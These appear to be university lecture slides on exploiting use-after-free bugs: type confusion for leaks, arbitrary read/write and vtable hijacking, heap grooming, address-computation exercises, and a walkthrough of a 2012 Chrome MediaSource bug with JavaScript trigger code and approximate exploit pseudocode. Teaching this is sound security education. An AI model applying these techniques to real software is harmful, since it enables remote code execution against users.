uaf

the bug

class Foo {
    ...
};
Foo *the_foo;
the_foo = new Foo;
...
delete the_foo;
...
the_foo->something();

bug creates dangling pointer to the_foo
probably some more complex logic

realistic use-after-free

  • code shown above seems very contrived
  • though bugs that are this simple do happen
    • usually immediate reuse does not cause problems
  • one likely case: two pointers to value, freed erroneously using one
    • example: object referenced from webpage + local variables in javascript
    • example: object freed from one thread while another uses it
    • example: “reference count” bookkeeping error

common vulnerability pattern

class Foo {
    ...
};
Foo *the_foo;
the_foo = new Foo;
...
delete the_foo;
...
something_else = new Bar(
    attacker_input1
);
something_else->some_method(
    attacker_input2
);
...
the_foo->something();

something_else allocated where the_foo is

attacker can manipulate change the_foo->... to do something bad
by manipulating something_else

Chen, Liu, Xiao, and Wang, ‘‘All Use-After-Free Vulnerabilities are not Created Equal: An Empirical Study on Their Characteristics and Detectability’’ (2023)


(LOFTLOD = line of free to line of dereference; BB = basic block) Chen, Liu, Xiao, and Wang, ‘‘All Use-After-Free Vulnerabilities are not Created Equal: An Empirical Study on Their Characteristics and Detectability’’ (2023)

use-after-free type confusion

  • pointer to struct A used as struct B
  • some applications:
  • information leak
  • arbitrary read/write
  • code execution

pointer leak pattern

  • suppose A and B overlapping
  • if we choose the right A and B:
    • pointer in A located where data in B is
    • often can “legitimately” output non-pointer value from B

information leak example 1

struct Cart {
    int date;
    int num_items;
    ...
    ...
};
struct String {
    char * buffer;

    size_t size;
};
  • setup:
    • trick code into making dangling pointer to Cart
    • trick code into allocating String in same memory
  • then: read buffer address by reading date, num_items from Cart
  • exercise if Cart date = 591751049 (0x23456789), num_items = 4:
    • what is buffer address?

information leak example 2

String
buffer
size
struct String {
    char *buffer;
    size_t size;
};
PNGImage
vtable pointer
class PNGImage : public Image { ...
public:
    virtual Pixel getPixel(int x, int y, int z);
    ...
};
  • setup:
    • trick code into making dangling pointer to String
    • trick code into allocating PNGImage in same space
  • then output String to read PNGImage Vtable

information leak 2 exercise

String
buffer
size
struct String {
    char *buffer;
    size_t size;
};
PNGImage
vtable pointer
class PNGImage : public Image { ...
public:
    virtual Pixel getPixel(int x, int y, int z);
    ...
};
  • exercise:
    • if buffer starts XFGz\0\0\0\0\0 (0x58, 0x46, 0x47, 0x7a, 0x0, …)
    • and PNGImage::getPixel in objdump at 0x14658
    • and PNGImage VTable in objdump at 0x13658
    • and strlen GOT pointer in objdump at 0x12444
    • what is strlen GOT pointer address?

use-after-free type confusion

  • pointer to struct A used as struct B
  • some applications:
  • information leak
  • arbitrary memory read/write
  • code execution

arbitrary read/write pattern

  • get A and B occupying same memory
  • have pointer in A, non-pointer in B
  • use B’s API to set non-pointer values in B…
    • … to control pointer address in A
  • use A’s API to modify value through pointer

arbitrary read/write example

struct PaperSize {
    int width;
    int height;
    char label[32];
};
struct String {
    char * buffer;

    size_t size;
};
  • allocate String + trigger use-after-fee
  • allocate PaperSize of very particular width + height that occupies same memory
  • exercise: what width + height to access 0x1234567890?
  • read or write beginning of string using dangling pointer

arbitrary read/write example

struct VideoPlayer {
    Video* video;
    Window *window;
    double timestamp;
    float playbackSpeed;
};
struct ContactInfo {
    char *homePhoneNumber;
    char *cellPhoneNumber;
    char *mailingAddress;
    ...
};
  • allocate VideoPlayer + trigger use-after-free
  • allocate ContactInfo that occupies same memory
  • seek to very particular time in video player
  • read/write mailing address to edit that memory

use-after-free type confusion

  • pointer to struct A used as struct B
  • some applications:
  • information leak
  • arbitrary memory read/write
  • code execution

code execution example

String
buffer
size
struct String {
    char *buffer;
    size_t size;
};
PNGImage
vtable pointer
class PNGImage : public Image {
    ...
public:
    virtual Pixel getPixel(int x, int y);
    ...
};
  • setup:
    • trick code into making dangling pointer to String
    • trick code into allocating PNGImage in same space
  • modify string to replace VTable with own pointers
  • trigger call to getPixel() method
    • actually calls pointer we specified

exercise

struct Codec {
    const char *name; void (*DecodeFrame)(...); void (*Seek)(...); ...
};
struct Codec H264 = { "H264", ... }, H265 = { "H265", ...}, MJPEG = { ... };
struct Video {
    struct Codec *codec; /* one of H264, ... */
    const char *filename;
    int framerate, width, height, frames; FILE *fh;
    ...
};
struct BrowserWindow {
    int num_tabs; int active_tab_index; struct BrowserTab *all_tabs; 
    ...
};
struct BrowserTab {
    struct BrowserWindow *window;
    char current_url[1024];
    ...
};
  • Suppose UAF of BrowserTab being overwritten by new Video object…
  • To break ASLR, what methods to get data from BrowserTab would be useful?

exercise

struct String {
    size_t alloc_size;
    size_t used_size;
    char *data;
    bool is_utf8;
};
struct FileInfo {
    const char *name;
    time_t creation_time;
    time_t modification_time;
    FILE *file_data;
}
  • If we have a String + FileInfo in same place from use-after-free
    What sequence of String/FileInfo operations to modify memory at 0x12345678?

exercise

vulnerable code:

std::istream *in =
    new std::ifstream("in.txt");
...
delete in;
...
char *other_buffer =
    new char[strlen(INPUT) + 1];
strcpy(other_buffer, INPUT);
...
char c = in->get();

ifstream internals:

class istream {
    ...
    int get() { ... buf->uflow(); ... }
    streambuf *buf;
    ~istream() { delete buf; }
};
class streambuf {
    ...
protected:
    virtual type_for_char uflow() = 0;
        /* called to get next char*/
};
class _File_streambuf : public streambuf { ... }
  • attacker goal: change what uflow() call does
  • Q1: assuming same size \(\rightarrow\) likely to get same address, what size for attacker to choose for INPUT?
  • Q2: where in INPUT to place pointer to code to run?

getting reuse to happen?

  • seems like we have to get lucky to have new object occupy same space as other
  • turns out attacker can make this more consistent
  • requires some understanding of how malloc/etc. works

easy heap reuse

  • simple way to implement malloc/free: linked list of free items
  • easiest way to write that code:
    • free() = add to head of list
    • malloc() = scan from head of list
  • if done, makes it easy to predict what will reuse allocation
    • likely to reuse things allocated recently

complicating easy reuse

  • usually can’t precisely control what is allocated/free’d
    • complex programs like web browsers do lots of allocations
  • some allocators mostly use different ordering than last in, first-out
    • example: lowest to highest address
  • freeing big object may make space for multiple future allocations
  • often different lists for different threads/sizes

heap reuse and sizes

  • allocators often use object size
    • search for “hole” close to requeted size
    • group similar objects together
  • goal: limit “fragmentation” — wasted space from…
    • rounding object sizes (internal fragmentation) or
    • too-small spaces between allocated objects (external fragmentation)
  • can increase reuse likelihood by allocating similar size
  • can try to deliberately create “holes” to fill

heap feng shui/grooming

  • http://www.phreedom.org/research/heap-feng-shui/heap-feng-shui.html
  • one idea:
  • allocate lots of objects to fill up likely holes
    • choose sizes/etc. based on allocator
    • allocators usually have separate ‘regions’ for different sizes
  • allocate three objects of appropriate size
    • probably three consecutive allocations
  • free ‘middle’ object + expect it to be reused

example: concurreny UAF bug

consistency?

  • how to predict what gets reused?


  • use debugger + print out all the addreses

    • look for duplicates
    • probably fixed number of allocations before duplicate
  • allocators like reusing ‘perfectly size’ space

    • free something + immediately allocate same size
  • trigger use-after-free bug lots of times

    • one of them will match up by accident

real UAF exploitable bug

  • 2012 bug in Google Chrome
  • exploitable via JavaScript
  • discovered/proof of concept by PinkiePie
  • allowed arbitrary code execution via VTable manipulation

creating + accessing dangling pointer

// in HTML near this JavaScript:
// <video id="vid"> (video player element)
function source_opened() {
  buffer = ms.addSourceBuffer('video/webm; codecs="vorbis,vp8"');
  vid.parentNode.removeChild(vid);
  gc(); // force garbage collector to run now
  // garbage collector frees unreachable objects
  // (would be run automatically, eventually, too)
  // buffer now internally refers to delete'd player object
  buffer.timestampOffset = 42;
}
ms = new WebKitMediaSource();
ms.addEventListener('webkitsourceopen', source_opened);
vid.src = window.URL.createObjectURL(ms);

via https://bugs.chromium.org/p/chromium/issues/detail?id=162835

buffer.timestampOffset internals

// implements JavaScript buffer.timestampOffset = 42
void SourceBuffer::setTimestampOffset(...) {
     if (m_source->setTimestampOffset(...))
        ...
}
bool MediaSource::setTimestampOffset(...) {
    // m_player was deleted when video player element deleted
    // but this call does *not* use a VTable
    if (!m_player->sourceSetTimestampOffset(id, offset)) 
        ...
}
bool MediaPlayer::sourceSetTimestampOffset(...) {
    // m_private deleted when MediaPlayer deleted
    // this *is* a VTable-based call
    return m_private->sourceSetTimestampOffset(id, offset);
}

via https://bugs.chromium.org/p/chromium/issues/detail?id=162835

involved objects

  • SourceBuffer (referenced in JS by buffer)
    • not freed
  • MediaSource (pointed to by SourceBuffer)
    • is freed, but has no VTable methods
  • MediaPlayer (pointer to by MediaSource)
    • is freed, has Vtable
  • attack goal: replace MediaPlayer VTable
    • setting timestamp calls function using that VTable

UAF exploit (approx. pseudocode)

... /* use information leaks to find relevant addresses */ 
buffer = ms.addSourceBuffer('video/webm; codecs="vorbis,vp8"');
vid.parentNode.removeChild(vid);
vid = null;
gc();
// allocate object to replace m_private
var array = new Uint32Array(168/4);
// allocate object to replace m_player
// type chosen to keep m_private pointer unchanged
rtc = new webkitRTCPeerConnection({'iceServers': []});
array[0] = ... /* fill in array with chosen values */
// trigger VTable Call that uses chosen address
buffer.timestampOffset = 42;

type confusion

missing pieces: information disclosure

  • need to learn address to set VTable pointer to

    • (and other addresses to use)
  • allocate types other than Uint32Array

  • in exploit, done using same use-after-free bug!

  • rely on confusing between different types, example:

  • allows reading timestamp value to get a pointer’s address

use-after-free easy cases

  • common problem for JavaScript implementations

  • use-after-free’d object often some complex C++ object

    • example: representation of video stream
  • exploits can choose type of object that replaces

    • allocate that kind of object in JS
  • can often arrange to read/write vtable pointer

    • depends on layout of thing created
    • easy examples: string, array of floating point numbers

backup slides